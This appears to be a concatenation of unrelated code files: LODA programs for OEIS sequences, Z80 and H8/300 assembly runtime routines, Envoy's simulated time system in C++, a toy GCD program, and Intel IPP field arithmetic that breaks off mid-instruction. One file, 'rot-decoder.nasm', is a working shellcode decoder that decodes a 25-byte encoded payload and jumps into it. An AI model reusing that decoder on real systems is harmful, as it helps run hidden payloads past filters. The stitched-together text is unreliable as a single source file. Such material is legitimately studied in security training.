; A094039: Binomial transform of (Jacobsthal(n) + 2^n*Jacobsthal(-n))/2. ; 0,1,2,6,16,46,132,386,1136,3366,10012,29866,89256,267086,799892,2396946,7185376,21545206,64613772,193797626,581305496,1743741726,5230875652,15691927906,47074385616,141220360646,423655489532 mov $42,$0 mov $44,$0 lpb $44,1 clr $0,42 mov $0,$42 sub $44,1 sub $0,$44 mov $39,$0 mov $41,$0 lpb $41,1 mov $0,$39 sub $41,1 sub $0,$41 mov $35,$0 mov $37,2 lpb $37,1 mov $0,$35 sub $37,1 add $0,$37 sub $0,1 mov $31,$0 mov $33,2 lpb $33,1 mov $0,$31 sub $33,1 add $0,$33 sub $0,1 mov $27,$0 mov $29,2 lpb $29,1 mov $0,$27 sub $29,1 add $0,$29 cal $0,87432 ; Expansion of 1+x*(1-x-4*x^2)/((1+x)*(1-2*x)*(1-3*x)). sub $0,1 mov $1,$0 mov $30,$29 lpb $30,1 mov $28,$1 sub $30,1 lpe lpe lpb $27,1 mov $27,0 sub $28,$1 lpe mov $1,$28 mov $34,$33 lpb $34,1 mov $32,$1 sub $34,1 lpe lpe lpb $31,1 mov $31,0 sub $32,$1 lpe mov $1,$32 mov $38,$37 lpb $38,1 mov $36,$1 sub $38,1 lpe lpe lpb $35,1 mov $35,0 sub $36,$1 lpe mov $1,$36 div $1,2 add $40,$1 lpe add $43,$40 lpe mov $1,$43
; void in_mouse_amx_callee(uint8_t *buttons, uint16_t *x, uint16_t *y) SECTION code_input PUBLIC _in_mouse_amx_callee EXTERN asm_in_mouse_amx _in_mouse_amx_callee: call asm_in_mouse_amx exx pop bc exx pop hl ld (hl),a pop hl ld (hl),e inc hl ld (hl),d pop hl ld (hl),c inc hl ld (hl),b exx push bc exx ret
; Filename: rot-decoder.nasm ; Author: Vivek Ramachandran - base file; Joshua Arnold - modified decode for rotate ; Website: https://huskersec.com ; ; ; Purpose: global _start section .text _start: jmp short call_shellcode decoder: pop esi mov edi, esi xor ecx, ecx mov cl, 25 xor edx, edx decode: mov dx, [esi] sub dx, 33 mov [edi], dl inc esi inc edi loop decode jmp short EncodedShellcode call_shellcode: call decoder EncodedShellcode: db 0x52,0xe1,0x71,0x89,0x50,0x50,0x94,0x89,0x89,0x50,0x83,0x8a,0x8f,0xaa,0x04,0x71,0xaa,0x03,0x74,0xaa,0x02,0xd1,0x2c,0xee,0xa1
#include "test/test_common/simulated_time_system.h" #include <chrono> #include "envoy/event/dispatcher.h" #include "common/common/assert.h" #include "common/common/lock_guard.h" #include "common/event/real_time_system.h" #include "common/event/timer_impl.h" #include "event2/event.h" namespace Envoy { namespace Event { // Our simulated alarm inherits from TimerImpl so that the same dispatching // mechanism used in RealTimeSystem timers is employed for simulated alarms. // Note that libevent is placed into thread-safe mode due to the call to // evthread_use_pthreads() in source/common/event/libevent.cc. class SimulatedTimeSystem::Alarm : public TimerImpl { public: Alarm(SimulatedTimeSystem& time_system, Libevent::BasePtr& libevent, TimerCb cb) : TimerImpl(libevent, cb), time_system_(time_system), index_(time_system.nextIndex()), armed_(false) {} virtual ~Alarm(); // Timer void disableTimer() override; void enableTimer(const std::chrono::milliseconds& duration) override; void setTime(MonotonicTime time) { time_ = time; } /** * Activates the timer so it will be run the next time the libevent loop is run, * typically via Dispatcher::run(). */ void activate() { armed_ = false; std::chrono::milliseconds duration = std::chrono::milliseconds::zero(); TimerImpl::enableTimer(duration); } MonotonicTime time() const { ASSERT(armed_); return time_; } uint64_t index() const { return index_; } private: SimulatedTimeSystem& time_system_; MonotonicTime time_; uint64_t index_; bool armed_; }; // Compare two alarms, based on wakeup time and insertion order. Returns true if // a comes before b. bool SimulatedTimeSystem::CompareAlarms::operator()(const Alarm* a, const Alarm* b) const { if (a != b) { if (a->time() < b->time()) { return true; } else if (a->time() == b->time() && a->index() < b->index()) { return true; } } return false; }; // Each timer is maintained and ordered by a common TimeSystem, but is // associated with a scheduler. The scheduler creates the timers with a libevent // context, so that the timer callbacks can be executed via Dispatcher::run() in // the expected thread. class SimulatedTimeSystem::SimulatedScheduler : public Scheduler { public: SimulatedScheduler(SimulatedTimeSystem& time_system, Libevent::BasePtr& libevent) : time_system_(time_system), libevent_(libevent) {} TimerPtr createTimer(const TimerCb& cb) override { return std::make_unique<SimulatedTimeSystem::Alarm>(time_system_, libevent_, cb); }; private: SimulatedTimeSystem& time_system_; Libevent::BasePtr& libevent_; }; SimulatedTimeSystem::Alarm::~Alarm() { if (armed_) { disableTimer(); } } void SimulatedTimeSystem::Alarm::disableTimer() { ASSERT(armed_); time_system_.removeAlarm(this); armed_ = false; } void SimulatedTimeSystem::Alarm::enableTimer(const std::chrono::milliseconds& duration) { ASSERT(!armed_); armed_ = true; if (duration.count() == 0) { activate(); } else { time_system_.addAlarm(this, duration); } } // When we initialize our simulated time, we'll start the current time based on // the real current time. But thereafter, real-time will not be used, and time // will march forward only by calling sleep(). SimulatedTimeSystem::SimulatedTimeSystem() : monotonic_time_(MonotonicTime(std::chrono::seconds(0))), system_time_(real_time_source_.systemTime()), index_(0) {} SystemTime SimulatedTimeSystem::systemTime() { Thread::LockGuard lock(mutex_); return system_time_; } MonotonicTime SimulatedTimeSystem::monotonicTime() { Thread::LockGuard lock(mutex_); return monotonic_time_; } int64_t SimulatedTimeSystem::nextIndex() { Thread::LockGuard lock(mutex_); return index_++; } void SimulatedTimeSystem::addAlarm(Alarm* alarm, const std::chrono::milliseconds& duration) { Thread::LockGuard lock(mutex_); alarm->setTime(monotonic_time_ + duration); alarms_.insert(alarm); } void SimulatedTimeSystem::removeAlarm(Alarm* alarm) { Thread::LockGuard lock(mutex_); alarms_.erase(alarm); } SchedulerPtr SimulatedTimeSystem::createScheduler(Libevent::BasePtr& libevent) { return std::make_unique<SimulatedScheduler>(*this, libevent); } void SimulatedTimeSystem::setMonotonicTimeAndUnlock(const MonotonicTime& monotonic_time) { // We don't have a convenient LockGuard construct that allows temporarily // dropping the lock to run a callback. The main issue here is that we must // be careful not to be holding mutex_ when an exception can be thrown. // That can only happen here in alarm->activate(), which is run with the mutex // released. if (monotonic_time >= monotonic_time_) { // Alarms is a std::set ordered by wakeup time, so pulling off begin() each // iteration gives you wakeup order. Also note that alarms may be added // or removed during the call to activate() so it would not be correct to // range-iterate over the set. while (!alarms_.empty()) { AlarmSet::iterator pos = alarms_.begin(); Alarm* alarm = *pos; if (alarm->time() > monotonic_time) { break; } ASSERT(alarm->time() >= monotonic_time_); system_time_ += std::chrono::duration_cast<SystemTime::duration>(alarm->time() - monotonic_time_); monotonic_time_ = alarm->time(); alarms_.erase(pos); mutex_.unlock(); // We don't want to activate the alarm under lock, as it will make a libevent call, // and libevent itself uses locks: // https://github.com/libevent/libevent/blob/29cc8386a2f7911eaa9336692a2c5544d8b4734f/event.c#L1917 alarm->activate(); mutex_.lock(); } system_time_ += std::chrono::duration_cast<SystemTime::duration>(monotonic_time - monotonic_time_); monotonic_time_ = monotonic_time; } mutex_.unlock(); } void SimulatedTimeSystem::setSystemTime(const SystemTime& system_time) { mutex_.lock(); if (system_time > system_time_) { MonotonicTime monotonic_time = monotonic_time_ + std::chrono::duration_cast<MonotonicTime::duration>(system_time - system_time_); setMonotonicTimeAndUnlock(monotonic_time); } else { system_time_ = system_time; mutex_.unlock(); } } } // namespace Event } // namespace Envoy
; A095931: Number of walks of length 2n between two nodes at distance 4 in the cycle graph C_10. ; 1,7,36,165,715,3004,12393,50559,204820,826045,3321891,13333932,53457121,214146295,857417220,3431847189,13733091643,54947296924,219828275865,879415437615,3517929664756,14072420067757,56291516582931,225170873858700,900696081703825,3602817278095399,14411355379952868,57645647371245189,230583180771710635,922334271095598460,3689341137121931721,14757375158697584607,59029528412680373716,236118186374181743005,944472935889217681155,3777892242010882603884,15111570273013075344193,60446284508506924283479 mul $0,2 add $0,1 seq $0,27983 ; T(n,n+1) + T(n,n+2) + ... + T(n,2n), T given by A027960. div $0,5
; A022852: Integer nearest n * e, where e is the natural log base. ; 0,3,5,8,11,14,16,19,22,24,27,30,33,35,38,41,43,46,49,52,54,57,60,63,65,68,71,73,76,79,82,84,87,90,92,95,98,101,103,106,109,111,114,117,120,122,125,128,130,133,136,139,141,144,147,150,152,155,158,160,163,166,169,171,174,177,179,182,185,188,190,193,196,198,201,204,207,209,212,215,217,220,223,226,228,231,234,236,239,242,245,247,250,253,256,258,261,264,266,269,272,275,277,280,283,285,288,291,294,296,299,302,304,307,310,313,315,318,321,323,326,329,332,334,337,340,343,345,348,351,353,356,359,362,364,367,370,372,375,378,381,383,386,389,391,394,397,400,402,405,408,410,413,416,419,421,424,427,429,432,435,438,440,443,446,449,451,454,457,459,462,465,468,470,473,476,478,481,484,487,489,492,495,497,500,503,506,508,511,514,516,519,522,525,527,530,533,536,538,541,544,546,549,552,555,557,560,563,565,568,571,574,576,579,582,584,587,590,593,595,598,601,603,606,609,612,614,617,620,622,625,628,631,633,636,639,642,644,647,650,652,655,658,661,663,666,669,671,674,677 mov $1,$0 mul $1,2 cal $1,121384 ; Ceiling(n*e). div $1,2
#ruledef test { ld {x} => 0x55 @ x`8 } val = 0xaa ld val ; = 0x55aa
;; libgcc routines for the Renesas H8/300 CPU. ;; Contributed by Steve Chamberlain <sac@cygnus.com> ;; Optimizations by Toshiyasu Morita <toshiyasu.morita@renesas.com> /* Copyright (C) 1994, 2000, 2001, 2002, 2003, 2004, 2009 Free Software Foundation, Inc. This file is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3, or (at your option) any later version. This file is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. Under Section 7 of GPL version 3, you are granted additional permissions described in the GCC Runtime Library Exception, version 3.1, as published by the Free Software Foundation. You should have received a copy of the GNU General Public License and a copy of the GCC Runtime Library Exception along with this program; see the files COPYING3 and COPYING.RUNTIME respectively. If not, see <http://www.gnu.org/licenses/>. */ /* Assembler register definitions. */ #define A0 r0 #define A0L r0l #define A0H r0h #define A1 r1 #define A1L r1l #define A1H r1h #define A2 r2 #define A2L r2l #define A2H r2h #define A3 r3 #define A3L r3l #define A3H r3h #define S0 r4 #define S0L r4l #define S0H r4h #define S1 r5 #define S1L r5l #define S1H r5h #define S2 r6 #define S2L r6l #define S2H r6h #ifdef __H8300__ #define PUSHP push #define POPP pop #define A0P r0 #define A1P r1 #define A2P r2 #define A3P r3 #define S0P r4 #define S1P r5 #define S2P r6 #endif #if defined (__H8300H__) || defined (__H8300S__) || defined (__H8300SX__) #define PUSHP push.l #define POPP pop.l #define A0P er0 #define A1P er1 #define A2P er2 #define A3P er3 #define S0P er4 #define S1P er5 #define S2P er6 #define A0E e0 #define A1E e1 #define A2E e2 #define A3E e3 #endif #ifdef __H8300H__ #ifdef __NORMAL_MODE__ .h8300hn #else .h8300h #endif #endif #ifdef __H8300S__ #ifdef __NORMAL_MODE__ .h8300sn #else .h8300s #endif #endif #ifdef __H8300SX__ #ifdef __NORMAL_MODE__ .h8300sxn #else .h8300sx #endif #endif #ifdef L_cmpsi2 #ifdef __H8300__ .section .text .align 2 .global ___cmpsi2 ___cmpsi2: cmp.w A0,A2 bne .L2 cmp.w A1,A3 bne .L4 mov.w #1,A0 rts .L2: bgt .L5 .L3: mov.w #2,A0 rts .L4: bls .L3 .L5: sub.w A0,A0 rts .end #endif #endif /* L_cmpsi2 */ #ifdef L_ucmpsi2 #ifdef __H8300__ .section .text .align 2 .global ___ucmpsi2 ___ucmpsi2: cmp.w A0,A2 bne .L2 cmp.w A1,A3 bne .L4 mov.w #1,A0 rts .L2: bhi .L5 .L3: mov.w #2,A0 rts .L4: bls .L3 .L5: sub.w A0,A0 rts .end #endif #endif /* L_ucmpsi2 */ #ifdef L_divhi3 ;; HImode divides for the H8/300. ;; We bunch all of this into one object file since there are several ;; "supporting routines". ; general purpose normalize routine ; ; divisor in A0 ; dividend in A1 ; turns both into +ve numbers, and leaves what the answer sign ; should be in A2L #ifdef __H8300__ .section .text .align 2 divnorm: or A0H,A0H ; is divisor > 0 stc ccr,A2L bge _lab1 not A0H ; no - then make it +ve not A0L adds #1,A0 _lab1: or A1H,A1H ; look at dividend bge _lab2 not A1H ; it is -ve, make it positive not A1L adds #1,A1 xor #0x8,A2L; and toggle sign of result _lab2: rts ;; Basically the same, except that the sign of the divisor determines ;; the sign. modnorm: or A0H,A0H ; is divisor > 0 stc ccr,A2L bge _lab7 not A0H ; no - then make it +ve not A0L adds #1,A0 _lab7: or A1H,A1H ; look at dividend bge _lab8 not A1H ; it is -ve, make it positive not A1L adds #1,A1 _lab8: rts ; A0=A0/A1 signed .global ___divhi3 ___divhi3: bsr divnorm bsr ___udivhi3 negans: btst #3,A2L ; should answer be negative ? beq _lab4 not A0H ; yes, so make it so not A0L adds #1,A0 _lab4: rts ; A0=A0%A1 signed .global ___modhi3 ___modhi3: bsr modnorm bsr ___udivhi3 mov A3,A0 bra negans ; A0=A0%A1 unsigned .global ___umodhi3 ___umodhi3: bsr ___udivhi3 mov A3,A0 rts ; A0=A0/A1 unsigned ; A3=A0%A1 unsigned ; A2H trashed ; D high 8 bits of denom ; d low 8 bits of denom ; N high 8 bits of num ; n low 8 bits of num ; M high 8 bits of mod ; m low 8 bits of mod ; Q high 8 bits of quot ; q low 8 bits of quot ; P preserve ; The H8/300 only has a 16/8 bit divide, so we look at the incoming and ; see how to partition up the expression. .global ___udivhi3 ___udivhi3: ; A0 A1 A2 A3 ; Nn Dd P sub.w A3,A3 ; Nn Dd xP 00 or A1H,A1H bne divlongway or A0H,A0H beq _lab6 ; we know that D == 0 and N is != 0 mov.b A0H,A3L ; Nn Dd xP 0N divxu A1L,A3 ; MQ mov.b A3L,A0H ; Q ; dealt with N, do n _lab6: mov.b A0L,A3L ; n divxu A1L,A3 ; mq mov.b A3L,A0L ; Qq mov.b A3H,A3L ; m mov.b #0x0,A3H ; Qq 0m rts ; D != 0 - which means the denominator is ; loop around to get the result. divlongway: mov.b A0H,A3L ; Nn Dd xP 0N mov.b #0x0,A0H ; high byte of answer has to be zero mov.b #0x8,A2H ; 8 div8: add.b A0L,A0L ; n*=2 rotxl A3L ; Make remainder bigger rotxl A3H sub.w A1,A3 ; Q-=N bhs setbit ; set a bit ? add.w A1,A3 ; no : too far , Q+=N dec A2H bne div8 ; next bit rts setbit: inc A0L ; do insert bit dec A2H bne div8 ; next bit rts #endif /* __H8300__ */ #endif /* L_divhi3 */ #ifdef L_divsi3 ;; 4 byte integer divides for the H8/300. ;; ;; We have one routine which does all the work and lots of ;; little ones which prepare the args and massage the sign. ;; We bunch all of this into one object file since there are several ;; "supporting routines". .section .text .align 2 ; Put abs SIs into r0/r1 and r2/r3, and leave a 1 in r6l with sign of rest. ; This function is here to keep branch displacements small. #ifdef __H8300__ divnorm: mov.b A0H,A0H ; is the numerator -ve stc ccr,S2L ; keep the sign in bit 3 of S2L bge postive ; negate arg not A0H not A1H not A0L not A1L add #1,A1L addx #0,A1H addx #0,A0L addx #0,A0H postive: mov.b A2H,A2H ; is the denominator -ve bge postive2 not A2L not A2H not A3L not A3H add.b #1,A3L addx #0,A3H addx #0,A2L addx #0,A2H xor.b #0x08,S2L ; toggle the result sign postive2: rts ;; Basically the same, except that the sign of the divisor determines ;; the sign. modnorm: mov.b A0H,A0H ; is the numerator -ve stc ccr,S2L ; keep the sign in bit 3 of S2L bge mpostive ; negate arg not A0H not A1H not A0L not A1L add #1,A1L addx #0,A1H addx #0,A0L addx #0,A0H mpostive: mov.b A2H,A2H ; is the denominator -ve bge mpostive2 not A2L not A2H not A3L not A3H add.b #1,A3L addx #0,A3H addx #0,A2L addx #0,A2H mpostive2: rts #else /* __H8300H__ */ divnorm: mov.l A0P,A0P ; is the numerator -ve stc ccr,S2L ; keep the sign in bit 3 of S2L bge postive neg.l A0P ; negate arg postive: mov.l A1P,A1P ; is the denominator -ve bge postive2 neg.l A1P ; negate arg xor.b #0x08,S2L ; toggle the result sign postive2: rts ;; Basically the same, except that the sign of the divisor determines ;; the sign. modnorm: mov.l A0P,A0P ; is the numerator -ve stc ccr,S2L ; keep the sign in bit 3 of S2L bge mpostive neg.l A0P ; negate arg mpostive: mov.l A1P,A1P ; is the denominator -ve bge mpostive2 neg.l A1P ; negate arg mpostive2: rts #endif ; numerator in A0/A1 ; denominator in A2/A3 .global ___modsi3 ___modsi3: #ifdef __H8300__ PUSHP S2P PUSHP S0P PUSHP S1P bsr modnorm bsr divmodsi4 mov S0,A0 mov S1,A1 bra exitdiv #else PUSHP S2P bsr modnorm bsr ___udivsi3 mov.l er3,er0 bra exitdiv #endif ;; H8/300H and H8S version of ___udivsi3 is defined later in ;; the file. #ifdef __H8300__ .global ___udivsi3 ___udivsi3: PUSHP S2P PUSHP S0P PUSHP S1P bsr divmodsi4 bra reti #endif .global ___umodsi3 ___umodsi3: #ifdef __H8300__ PUSHP S2P PUSHP S0P PUSHP S1P bsr divmodsi4 mov S0,A0 mov S1,A1 bra reti #else bsr ___udivsi3 mov.l er3,er0 rts #endif .global ___divsi3 ___divsi3: #ifdef __H8300__ PUSHP S2P PUSHP S0P PUSHP S1P jsr divnorm jsr divmodsi4 #else PUSHP S2P jsr divnorm bsr ___udivsi3 #endif ; examine what the sign should be exitdiv: btst #3,S2L beq reti ; should be -ve #ifdef __H8300__ not A0H not A1H not A0L not A1L add #1,A1L addx #0,A1H addx #0,A0L addx #0,A0H #else /* __H8300H__ */ neg.l A0P #endif reti: #ifdef __H8300__ POPP S1P POPP S0P #endif POPP S2P rts ; takes A0/A1 numerator (A0P for H8/300H) ; A2/A3 denominator (A1P for H8/300H) ; returns A0/A1 quotient (A0P for H8/300H) ; S0/S1 remainder (S0P for H8/300H) ; trashes S2H #ifdef __H8300__ divmodsi4: sub.w S0,S0 ; zero play area mov.w S0,S1 mov.b A2H,S2H or A2L,S2H or A3H,S2H bne DenHighNonZero mov.b A0H,A0H bne NumByte0Zero mov.b A0L,A0L bne NumByte1Zero mov.b A1H,A1H bne NumByte2Zero bra NumByte3Zero NumByte0Zero: mov.b A0H,S1L divxu A3L,S1 mov.b S1L,A0H NumByte1Zero: mov.b A0L,S1L divxu A3L,S1 mov.b S1L,A0L NumByte2Zero: mov.b A1H,S1L divxu A3L,S1 mov.b S1L,A1H NumByte3Zero: mov.b A1L,S1L divxu A3L,S1 mov.b S1L,A1L mov.b S1H,S1L mov.b #0x0,S1H rts ; have to do the divide by shift and test DenHighNonZero: mov.b A0H,S1L mov.b A0L,A0H mov.b A1H,A0L mov.b A1L,A1H mov.b #0,A1L mov.b #24,S2H ; only do 24 iterations nextbit: add.w A1,A1 ; double the answer guess rotxl A0L rotxl A0H rotxl S1L ; double remainder rotxl S1H rotxl S0L rotxl S0H sub.w A3,S1 ; does it all fit subx A2L,S0L subx A2H,S0H bhs setone add.w A3,S1 ; no, restore mistake addx A2L,S0L addx A2H,S0H dec S2H bne nextbit rts setone: inc A1L dec S2H bne nextbit rts #else /* __H8300H__ */ ;; This function also computes the remainder and stores it in er3. .global ___udivsi3 ___udivsi3: mov.w A1E,A1E ; denominator top word 0? bne DenHighNonZero ; do it the easy way, see page 107 in manual mov.w A0E,A2 extu.l A2P divxu.w A1,A2P mov.w A2E,A0E divxu.w A1,A0P mov.w A0E,A3 mov.w A2,A0E extu.l A3P rts ; er0 = er0 / er1 ; er3 = er0 % er1 ; trashes er1 er2 ; expects er1 >= 2^16 DenHighNonZero: mov.l er0,er3 mov.l er1,er2 #ifdef __H8300H__ divmod_L21: shlr.l er0 shlr.l er2 ; make divisor < 2^16 mov.w e2,e2 bne divmod_L21 #else shlr.l #2,er2 ; make divisor < 2^16 mov.w e2,e2 beq divmod_L22A divmod_L21: shlr.l #2,er0 divmod_L22: shlr.l #2,er2 ; make divisor < 2^16 mov.w e2,e2 bne divmod_L21 divmod_L22A: rotxl.w r2 bcs divmod_L23 shlr.l er0 bra divmod_L24 divmod_L23: rotxr.w r2 shlr.l #2,er0 divmod_L24: #endif ;; At this point, ;; er0 contains shifted dividend ;; er1 contains divisor ;; er2 contains shifted divisor ;; er3 contains dividend, later remainder divxu.w r2,er0 ; r0 now contains the approximate quotient (AQ) extu.l er0 beq divmod_L25 subs #1,er0 ; er0 = AQ - 1 mov.w e1,r2 mulxu.w r0,er2 ; er2 = upper (AQ - 1) * divisor sub.w r2,e3 ; dividend - 65536 * er2 mov.w r1,r2 mulxu.w r0,er2 ; compute er3 = remainder (tentative) sub.l er2,er3 ; er3 = dividend - (AQ - 1) * divisor divmod_L25: cmp.l er1,er3 ; is divisor < remainder? blo divmod_L26 adds #1,er0 sub.l er1,er3 ; correct the remainder divmod_L26: rts #endif #endif /* L_divsi3 */ #ifdef L_mulhi3 ;; HImode multiply. ; The H8/300 only has an 8*8->16 multiply. ; The answer is the same as: ; ; product = (srca.l * srcb.l) + ((srca.h * srcb.l) + (srcb.h * srca.l)) * 256 ; (we can ignore A1.h * A0.h cause that will all off the top) ; A0 in ; A1 in ; A0 answer #ifdef __H8300__ .section .text .align 2 .global ___mulhi3 ___mulhi3: mov.b A1L,A2L ; A2l gets srcb.l mulxu A0L,A2 ; A2 gets first sub product mov.b A0H,A3L ; prepare for mulxu A1L,A3 ; second sub product add.b A3L,A2H ; sum first two terms mov.b A1H,A3L ; third sub product mulxu A0L,A3 add.b A3L,A2H ; almost there mov.w A2,A0 ; that is rts #endif #endif /* L_mulhi3 */ #ifdef L_mulsi3 ;; SImode multiply. ;; ;; I think that shift and add may be sufficient for this. Using the ;; supplied 8x8->16 would need 10 ops of 14 cycles each + overhead. This way ;; the inner loop uses maybe 20 cycles + overhead, but terminates ;; quickly on small args. ;; ;; A0/A1 src_a ;; A2/A3 src_b ;; ;; while (a) ;; { ;; if (a & 1) ;; r += b; ;; a >>= 1; ;; b <<= 1; ;; } .section .text .align 2 #ifdef __H8300__ .global ___mulsi3 ___mulsi3: PUSHP S0P PUSHP S1P sub.w S0,S0 sub.w S1,S1 ; while (a) _top: mov.w A0,A0 bne _more mov.w A1,A1 beq _done _more: ; if (a & 1) bld #0,A1L bcc _nobit ; r += b add.w A3,S1 addx A2L,S0L addx A2H,S0H _nobit: ; a >>= 1 shlr A0H rotxr A0L rotxr A1H rotxr A1L ; b <<= 1 add.w A3,A3 addx A2L,A2L addx A2H,A2H bra _top _done: mov.w S0,A0 mov.w S1,A1 POPP S1P POPP S0P rts #else /* __H8300H__ */ ; ; mulsi3 for H8/300H - based on Renesas SH implementation ; ; by Toshiyasu Morita ; ; Old code: ; ; 16b * 16b = 372 states (worst case) ; 32b * 32b = 724 states (worst case) ; ; New code: ; ; 16b * 16b = 48 states ; 16b * 32b = 72 states ; 32b * 32b = 92 states ; .global ___mulsi3 ___mulsi3: mov.w r1,r2 ; ( 2 states) b * d mulxu r0,er2 ; (22 states) mov.w e0,r3 ; ( 2 states) a * d beq L_skip1 ; ( 4 states) mulxu r1,er3 ; (22 states) add.w r3,e2 ; ( 2 states) L_skip1: mov.w e1,r3 ; ( 2 states) c * b beq L_skip2 ; ( 4 states) mulxu r0,er3 ; (22 states) add.w r3,e2 ; ( 2 states) L_skip2: mov.l er2,er0 ; ( 2 states) rts ; (10 states) #endif #endif /* L_mulsi3 */ #ifdef L_fixunssfsi_asm /* For the h8300 we use asm to save some bytes, to allow more programs to fit into the tiny address space. For the H8/300H and H8S, the C version is good enough. */ #ifdef __H8300__ /* We still treat NANs different than libgcc2.c, but then, the behavior is undefined anyways. */ .global ___fixunssfsi ___fixunssfsi: cmp.b #0x4f,r0h bge Large_num jmp @___fixsfsi Large_num: bhi L_huge_num xor.b #0x80,A0L bmi L_shift8 L_huge_num: mov.w #65535,A0 mov.w A0,A1 rts L_shift8: mov.b A0L,A0H mov.b A1H,A0L mov.b A1L,A1H mov.b #0,A1L rts #endif #endif /* L_fixunssfsi_asm */
#GCD author: Andrew Zurn since: Apr 3, 2012 DATA PROGRAM READ R2 READ R3 #Condition 1: m<0 --------------------------------------------------------------- SUB SCR R2 ONE BRNG Cond1 JUMP pastCond1 Cond1 NOT R2 R2 ADD R2 R2 ONE pastCond1 #Condition 2: n<0 --------------------------------------------------------------- SUB SCR R3 ONE BRNG Cond2 JUMP pastCond2 Cond2 NOT R3 R3 ADD R3 R3 ONE pastCond2 #Condition 3: m==0 -------------------------------------------------------------- gcd SUB SCR R2 ONE BRNG returnM JUMP pastReturnM returnM WRITE R3 JUMP jumpEnd pastReturnM #Condition 4: n==0 -------------------------------------------------------------- SUB SCR R3 ONE BRNG returnN JUMP pastReturnN returnN WRITE R2 JUMP jumpEnd pastReturnN #Condition 5: n<m --------------------------------------------------------------- SUB SCR R2 R3 BRZR nGreaterThanM BRNG nGreaterThanM SUB R2 R2 R3 JUMP gcd #Condition 6: m<n --------------------------------------------------------------- nGreaterThanM SUB R3 R3 R2 JUMP gcd jumpEND HALT END
############################################################################### # Copyright 2018 Intel Corporation # All Rights Reserved. # # If this software was obtained under the Intel Simplified Software License, # the following terms apply: # # The source code, information and material ("Material") contained herein is # owned by Intel Corporation or its suppliers or licensors, and title to such # Material remains with Intel Corporation or its suppliers or licensors. The # Material contains proprietary information of Intel or its suppliers and # licensors. The Material is protected by worldwide copyright laws and treaty # provisions. No part of the Material may be used, copied, reproduced, # modified, published, uploaded, posted, transmitted, distributed or disclosed # in any way without Intel's prior express written permission. No license under # any patent, copyright or other intellectual property rights in the Material # is granted to or conferred upon you, either expressly, by implication, # inducement, estoppel or otherwise. Any license under such intellectual # property rights must be express and approved by Intel in writing. # # Unless otherwise agreed by Intel in writing, you may not remove or alter this # notice or any other notice embedded in Materials by Intel or Intel's # suppliers or licensors in any way. # # # If this software was obtained under the Apache License, Version 2.0 (the # "License"), the following terms apply: # # You may not use this file except in compliance with the License. You may # obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 # # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. ############################################################################### .section .note.GNU-stack,"",%progbits .text .p2align 6, 0x90 .p2align 6, 0x90 .globl k0_gf256_add .type k0_gf256_add, @function k0_gf256_add: push %r12 push %r13 push %r14 xor %r14, %r14 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 addq (%rdx), %r8 adcq (8)(%rdx), %r9 adcq (16)(%rdx), %r10 adcq (24)(%rdx), %r11 adc $(0), %r14 mov %r8, %rax mov %r9, %rdx mov %r10, %r12 mov %r11, %r13 subq (%rcx), %rax sbbq (8)(%rcx), %rdx sbbq (16)(%rcx), %r12 sbbq (24)(%rcx), %r13 sbb $(0), %r14 cmove %rax, %r8 cmove %rdx, %r9 cmove %r12, %r10 cmove %r13, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) mov %rdi, %rax vzeroupper pop %r14 pop %r13 pop %r12 ret .Lfe1: .size k0_gf256_add, .Lfe1-(k0_gf256_add) .p2align 6, 0x90 .globl k0_gf256_sub .type k0_gf256_sub, @function k0_gf256_sub: push %r12 push %r13 push %r14 xor %r14, %r14 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 subq (%rdx), %r8 sbbq (8)(%rdx), %r9 sbbq (16)(%rdx), %r10 sbbq (24)(%rdx), %r11 sbb $(0), %r14 mov %r8, %rax mov %r9, %rdx mov %r10, %r12 mov %r11, %r13 addq (%rcx), %rax adcq (8)(%rcx), %rdx adcq (16)(%rcx), %r12 adcq (24)(%rcx), %r13 test %r14, %r14 cmovne %rax, %r8 cmovne %rdx, %r9 cmovne %r12, %r10 cmovne %r13, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) mov %rdi, %rax vzeroupper pop %r14 pop %r13 pop %r12 ret .Lfe2: .size k0_gf256_sub, .Lfe2-(k0_gf256_sub) .p2align 6, 0x90 .globl k0_gf256_neg .type k0_gf256_neg, @function k0_gf256_neg: push %r12 push %r13 push %r14 xor %r14, %r14 xor %r8, %r8 xor %r9, %r9 xor %r10, %r10 xor %r11, %r11 subq (%rsi), %r8 sbbq (8)(%rsi), %r9 sbbq (16)(%rsi), %r10 sbbq (24)(%rsi), %r11 sbb $(0), %r14 mov %r8, %rax mov %r9, %rcx mov %r10, %r12 mov %r11, %r13 addq (%rdx), %rax adcq (8)(%rdx), %rcx adcq (16)(%rdx), %r12 adcq (24)(%rdx), %r13 test %r14, %r14 cmovne %rax, %r8 cmovne %rcx, %r9 cmovne %r12, %r10 cmovne %r13, %r11 movq %r8, (%rdi) movq %r9, (8)(%rdi) movq %r10, (16)(%rdi) movq %r11, (24)(%rdi) mov %rdi, %rax vzeroupper pop %r14 pop %r13 pop %r12 ret .Lfe3: .size k0_gf256_neg, .Lfe3-(k0_gf256_neg) .p2align 6, 0x90 .globl k0_gf256_div2 .type k0_gf256_div2, @function k0_gf256_div2: push %r12 push %r13 push %r14 movq (%rsi), %r8 movq (8)(%rsi), %r9 movq (16)(%rsi), %r10 movq (24)(%rsi), %r11 xor %r14, %r14 xor %rsi, %rsi mov %r8, %rax mov %r9, %rcx mov %r10, %r12 mov %r11, %r13 addq (%rdx), %rax adcq (8)(%rdx), %rcx adcq (16)(%rdx), %r12 adcq (24)(%rdx), %r13 adc $(0), %r14 test $(1), %r8 cmovne %rax, %r8 cmovne %rcx, %r9 cmovne %r12, %r10 cmovne %r13, %r11 cmovne %r14, %rsi shrd $(1), %r9, %r8 shrd $(1), %r10, %r9 shrd $(1), 